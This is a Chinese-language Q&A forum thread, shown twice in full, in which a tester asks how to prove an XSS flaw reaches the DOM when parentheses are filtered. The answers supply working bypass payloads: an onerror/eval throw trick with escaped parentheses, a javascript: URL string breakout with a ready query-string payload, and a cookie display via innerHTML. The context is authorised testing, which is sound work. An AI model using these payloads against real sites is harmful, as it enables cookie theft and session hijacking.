JS 中的括号替代方案(如果有)?
parentheses alternatives in JS , if any?
我在客户的应用程序中发现了跨站脚本漏洞。问题是易受攻击的参数不接受括号。所以像 alert(document.cookie)
这样的东西会因为括号而被拒绝。我可以使用 alert `xss`
获取 XSS,但我的客户需要能够访问 DOM.
的证明
换句话说,我如何 alert(document.cookie)
没有括号,还有其他选择吗?
谢谢!
document.body.innerHTML=document.cookie
将在页面本身上显示 cookie。
说到 XSS 漏洞:是的,它很容易受到攻击,禁用括号只会迫使攻击者使用更有创意的方法。让某人执行 任何 任意代码是一种责任。
这是一个简单的示例,说明如何在输入中不使用任何括号的情况下使用任何参数调用任何函数:
<p>Malicious input: window.onerror=eval;throw '=1;alert\u0028document.location\u0029'</p>
<input type="button" onclick="window.onerror=eval;throw '=1;alert\u0028document.location\u0029'" value="Click me">
这是另一个对我有用的解决方案:
<script>
var firstname = 'aa';document.location='javascript:alert%28document.cookie%29';//';
</script>
有效负载为:
?vulnparam=aa';document.location='javascript:alert%2528document.cookie%2529';//
@tcooc 回答也有效。
我在客户的应用程序中发现了跨站脚本漏洞。问题是易受攻击的参数不接受括号。所以像 alert(document.cookie)
这样的东西会因为括号而被拒绝。我可以使用 alert `xss`
获取 XSS,但我的客户需要能够访问 DOM.
换句话说,我如何 alert(document.cookie)
没有括号,还有其他选择吗?
谢谢!
document.body.innerHTML=document.cookie
将在页面本身上显示 cookie。
说到 XSS 漏洞:是的,它很容易受到攻击,禁用括号只会迫使攻击者使用更有创意的方法。让某人执行 任何 任意代码是一种责任。
这是一个简单的示例,说明如何在输入中不使用任何括号的情况下使用任何参数调用任何函数:
<p>Malicious input: window.onerror=eval;throw '=1;alert\u0028document.location\u0029'</p>
<input type="button" onclick="window.onerror=eval;throw '=1;alert\u0028document.location\u0029'" value="Click me">
这是另一个对我有用的解决方案:
<script>
var firstname = 'aa';document.location='javascript:alert%28document.cookie%29';//';
</script>
有效负载为:
?vulnparam=aa';document.location='javascript:alert%2528document.cookie%2529';//
@tcooc 回答也有效。